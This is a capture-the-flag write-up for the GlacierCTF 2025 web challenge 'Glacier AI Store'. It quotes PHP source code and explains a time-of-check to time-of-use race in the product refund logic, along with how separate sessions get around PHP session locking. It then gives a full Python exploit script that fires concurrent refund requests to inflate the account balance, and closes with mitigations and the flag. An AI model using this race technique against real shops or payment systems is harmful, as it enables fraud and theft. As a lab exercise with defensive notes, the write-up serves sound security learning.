Logo
Overview
web/Glacier AI Store - GlacierCTF 2025

web/Glacier AI Store - GlacierCTF 2025

November 23, 2025
8 min read

GlacierCTF 2025 featured intense competition across Open and Academic brackets. I had the opportunity to participate and want to share my solution for Glacier AI Store, a web challenge that required exploiting a classic race condition.

Challenge Description

Category: Web

Author: sc0peMa3str0

Description: 2024 called and want back their casual websites, where you need to manually navigate through the page. This year, we introduce Glacier AI Store, where we use AI to navigate a website. Never browse through sub-sub-sub navigation bars again. Check out our new products. We apologize again to those customers, who paid for products but couldn’t see them in their order list. We hired the best PHP vibe coders on the market and resolved the issue.

Initial Recon

The challenge presents a web application that simulates an “AI” chat interface for navigation. Behind the scenes, it’s a PHP application using iframes to load content based on navigation commands.

Glacier AI Store Homepage

The goal is to buy the “Glacier Flag”, which costs 1000 credits. We start with only 1 credit.

Source Code Analysis

We are provided with the source code. The core logic resides in web/nav/pages/products.php:

web/nav/pages/products.php
<?php
if(!isLoggedIn()) {
respondText($SYSTEM, "You are not logged in.");
sendCtrl("ACCOUNT_NOSESSION");
exit(0);
}
$sell = $_POST["sell"];
$reason = $_POST["reason"];
if(isset($sell) && array_key_exists($sell, $products)) {
respondText($USER, "Cancel Order for product " . $products[$sell]["title"]);
respondText($SYSTEM, "Cancelling Order for product " . $products[$sell]["title"]);
$loginID = getLoginID();
if(!hasUserProduct($loginID, $sell)) goto product_list;
increaseBalance($loginID, $products[$sell]["price"]);
if(isset($reason) && strlen($reason) > 0)
respondText($USER, $reason);
sellProduct($loginID, $sell, $reason);
goto product_list;
}
$product = $_SESSION["product"];
$btn = $_POST["btn"];
if(isset($product) && isset($btn) && array_key_exists($product, $products)) {
unset($_SESSION["product"]);
if($btn === "yes") {
$loginID = getLoginID();
if(decreaseBalance($loginID, $products[$product]["price"])) {
respondText($USER, $btn);
buyProduct($loginID, $product);
respondText($SYSTEM, "Great, we have received your order.");
} else {
respondText($SYSTEM, "Oh snap, seems like you don't have enough balance to buy this product.");
}
}
goto product_list;
}
$product = $_POST["product"];
if(isset($product) && array_key_exists($product, $products)) {
$_SESSION["product"] = $product;
respondText($USER, "Order product " . $products[$product]["title"]);
respondText($SYSTEM, "Are you sure you want to buy the product?");
sendCtrl("PRODUCT_BUY");
} else {
respondText($SYSTEM, "I'll forward you to the store, where you can order new products and view your orders.");
}
exit(0);
# https://xkcd.com/292/
product_list:
sendCtrl("PRODUCT_LIST");
?>

The Vulnerability: Race Condition (TOCTOU)

The vulnerability is a classic Race Condition, specifically a Time-of-Check to Time-of-Use (TOCTOU) flaw.

What is a Race Condition?

A race condition occurs when a software system’s behavior depends on the timing or ordering of events, such as the execution order of concurrent threads or processes. When multiple processes access and manipulate shared data (like a database or file) at the same time, unexpected behavior can occur if the operations are not atomic or properly synchronized.

Time-of-Check to Time-of-Use (TOCTOU)

TOCTOU is a specific type of race condition where a program checks the state of a resource (Time-of-Check) and then performs an action based on that state (Time-of-Use), but the state changes between the check and the use.

In this challenge, the “Check” is verifying if the user owns the product, and the “Use” (or rather, the finalization) is removing the product.

The Flaw in products.php

To understand the vulnerability, we first need to look at the respondText helper function in web/helpers/utils.php. This function is designed to simulate an AI typing effect by streaming text with a delay:

web/helpers/utils.php
function respondText($type, $msg="") {
$textToStream = $type . $msg;
for($i = 0; $i < strlen($textToStream); $i++) {
echo $textToStream[$i];
usleep(50000);
ob_flush();
flush();
}
}

This usleep(50000) introduces a 50ms delay per character.

Now, let’s look at the refund logic in web/nav/pages/products.php. Notice how it accepts a user-controlled reason parameter and passes it to respondText after refunding the money but before deleting the product:

web/nav/pages/products.php
if(isset($sell) && array_key_exists($sell, $products)) {
respondText($USER, "Cancel Order for product " . $products[$sell]["title"]);
respondText($SYSTEM, "Cancelling Order for product " . $products[$sell]["title"]);
$loginID = getLoginID();
if(!hasUserProduct($loginID, $sell)) goto product_list;
increaseBalance($loginID, $products[$sell]["price"]);
if(isset($reason) && strlen($reason) > 0)
respondText($USER, $reason);
sellProduct($loginID, $sell, $reason);
goto product_list;
}

By sending a long reason string (e.g., 100 characters), we can force the server to wait for 5 seconds between the refund and the deletion. This creates a massive window for a race condition.

Visualizing the Attack

If we send two requests (Req A and Req B) simultaneously:

TimeRequest ARequest BState (Balance / Inventory)
T+0sCheck: Owns product? YES0 / [Stone]
T+0.1sRefund: Balance +1Check: Owns product? YES1 / [Stone]
T+0.2sDelay: Sleeping…Refund: Balance +12 / [Stone]
T+0.3sDelay: Sleeping…Delay: Sleeping…2 / [Stone]
T+5.0sDelete: Remove productDelay: Sleeping…2 / []
T+5.1sDoneDelete: Remove product (Fail)2 / []

Because Request B performs its check before Request A deletes the product, both requests successfully refund the money for the same single item.

Bypassing PHP Session Locking

PHP by default locks the session file for a given session ID, serializing requests from the same user. This means Request B would normally wait for Request A to finish before starting, preventing the race condition.

To bypass this, we can log in to the same account multiple times using different session cookies (PHPSESSID). The application allows multiple active sessions for the same user, allowing us to send truly concurrent requests.

Exploit Strategy

  1. Register a user.
  2. Create Multiple Sessions: Log in 10 times to get 10 different session cookies.
  3. Buy a cheap item (Glacier Stone, price 1).
  4. Race: Send concurrent sell requests from all 10 sessions.
    • Include a long reason string (e.g., 100 ‘A’s) to introduce a 5-second delay.
    • Stagger the requests slightly (0.1s) to ensure they all hit within the delay window.
  5. Repeat: As balance grows, buy more expensive items (Water: 10, Jar: 100) to reach the target faster.
  6. Profit: Once balance >= 1000, buy the flag.

Exploit Script

Here is the full Python exploit script:

exploit.py
120 collapsed lines
import urllib.request
import urllib.parse
import http.cookiejar
import threading
import time
import re
import sys
import string
import random
URL = "http://localhost:8000"
# Endpoints
EP_ACCOUNT_FRAME = "/nav/index.php?p=252" # 0xFC
EP_PRODUCTS_FRAME = "/nav/index.php?p=253" # 0xFD
EP_PRODUCTS_PAGE = "/nav/index.php?p=145" # 0x91
USERNAME = "hacker4053"
PASSWORD = "s4E5_MK3Hzy0"
def get_opener():
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
return opener
def register():
print(f"[*] Registering user {USERNAME}...")
data = urllib.parse.urlencode(
{
"form": "register",
"username": USERNAME,
"password": PASSWORD,
"password_repeat": PASSWORD,
}
).encode()
try:
with urllib.request.urlopen(f"{URL}{EP_ACCOUNT_FRAME}", data=data) as response:
html = response.read().decode()
if "Registration successful" in html:
print("[+] Registration successful")
return True
else:
print("[-] Registration failed (might already exist)")
return False
except Exception as e:
print(f"[-] Registration error: {e}")
return False
def login():
opener = get_opener()
data = urllib.parse.urlencode(
{"form": "login", "username": USERNAME, "password": PASSWORD}
).encode()
try:
with opener.open(f"{URL}{EP_ACCOUNT_FRAME}", data=data) as response:
html = response.read().decode()
if "Login failed" in html:
return None
# Verify by checking products frame
with opener.open(f"{URL}{EP_PRODUCTS_FRAME}") as response:
html = response.read().decode()
if "Current Balance" in html:
return opener
except Exception as e:
print(f"[-] Login error: {e}")
return None
return None
def get_balance(opener):
try:
with opener.open(f"{URL}{EP_PRODUCTS_FRAME}") as response:
html = response.read().decode()
match = re.search(r"Current Balance: (\d+) &euro;", html)
if match:
return int(match.group(1))
except:
pass
return 0
def buy_product(opener, product="stone"):
try:
# Step 1: Select
data1 = urllib.parse.urlencode({"product": product}).encode()
opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data1).read()
# Step 2: Confirm
data2 = urllib.parse.urlencode({"btn": "yes"}).encode()
with opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data2) as response:
html = response.read().decode("latin-1")
if "Great, we have received your order" in html:
return True
except Exception:
pass
return False
def sell_product(opener, product="stone", barrier=None, use_reason=False):
try:
if barrier:
barrier.wait()
params = {"sell": product}
if use_reason:
params["reason"] = "A" * 100 # 5 seconds delay
data = urllib.parse.urlencode(params).encode()
with opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data) as response:
response.read() # Consume response
except Exception:
pass
def attempt_exploit():
if not register():
pass # Try login if register fails
# Create multiple sessions
sessions = []
print("[*] Creating sessions...")
for i in range(10):
s = login()
if s:
sessions.append(s)
if len(sessions) < 2:
print("[-] Not enough sessions")
return False
print(f"[+] Created {len(sessions)} sessions")
print(f"[+] Initial Balance: {get_balance(sessions[0])}")
target_balance = 1000
num_threads = 10
while True:
balance = get_balance(sessions[0])
print(f"[*] Current Balance: {balance}")
if balance >= target_balance:
print("[+] Target balance reached!")
break
# Dynamic product selection
product = "stone"
if balance >= 100:
product = "jar"
elif balance >= 10:
product = "water"
print(f"[*] Using product: {product}")
# Buy product
price = 1
if product == "water":
price = 10
if product == "jar":
price = 100
if balance >= price:
if not buy_product(sessions[0], product):
print(f"[-] Failed to buy {product}")
continue
elif balance == 0:
pass # Assume we have product
# Race condition
threads = []
active_sessions = sessions[:num_threads]
for s in active_sessions:
t = threading.Thread(target=sell_product, args=(s, product, None, True))
threads.append(t)
t.start()
time.sleep(0.1) # Stagger
for t in threads:
t.join()
# Buy Flag
print("[*] Buying Flag...")
try:
data1 = urllib.parse.urlencode({"product": "flag"}).encode()
sessions[0].open(f"{URL}{EP_PRODUCTS_PAGE}", data=data1).read()
data2 = urllib.parse.urlencode({"btn": "yes"}).encode()
sessions[0].open(f"{URL}{EP_PRODUCTS_PAGE}", data=data2).read()
with sessions[0].open(f"{URL}{EP_PRODUCTS_FRAME}") as response:
html = response.read().decode("latin-1")
match = re.search(
r"<td>Glacier Flag</td>\s*<td>(.*?)</td>", html, re.DOTALL
)
if match:
print(f"\n[SUCCESS] FLAG: {match.group(1).strip()}\n")
return True
else:
print("[-] Could not find flag in table")
except Exception as e:
print(f"[-] Error buying flag: {e}")
return False
if __name__ == "__main__":
attempt_exploit()

Mitigation

To prevent this vulnerability, two main steps should be taken:

  1. Atomic Transactions: Use database transactions with proper locking (e.g., SELECT ... FOR UPDATE) to ensure that the check-and-update process is atomic. This prevents other requests from reading the balance until the current transaction is complete.
  2. Session Locking: Do not rely solely on implicit PHP session locking, as it can be bypassed (as shown in this exploit) or disabled for performance. Instead, use explicit locking mechanisms:
    • Database Row Locks: Lock the specific user record during critical sections of the code.
    • Distributed Locks: Use a fast, in-memory store (like Redis or Memcached) to implement a mutex. By acquiring a lock on the user_id before processing, you ensure sequential execution across all server instances.

Conclusion

This challenge serves as a stark reminder that even seemingly minor logic flaws can be exploited to bypass security controls and lead to significant gain for an attacker. Developers must proactively implement explicit locking mechanisms to safeguard against race conditions and ensure data integrity in multi-user environments.

Flag: gctf{pHP_G3tZ_W3iRD_Wh3n_y0U_D!SsC0nN3Ct_m0K9Pa5shMpOO3Mq}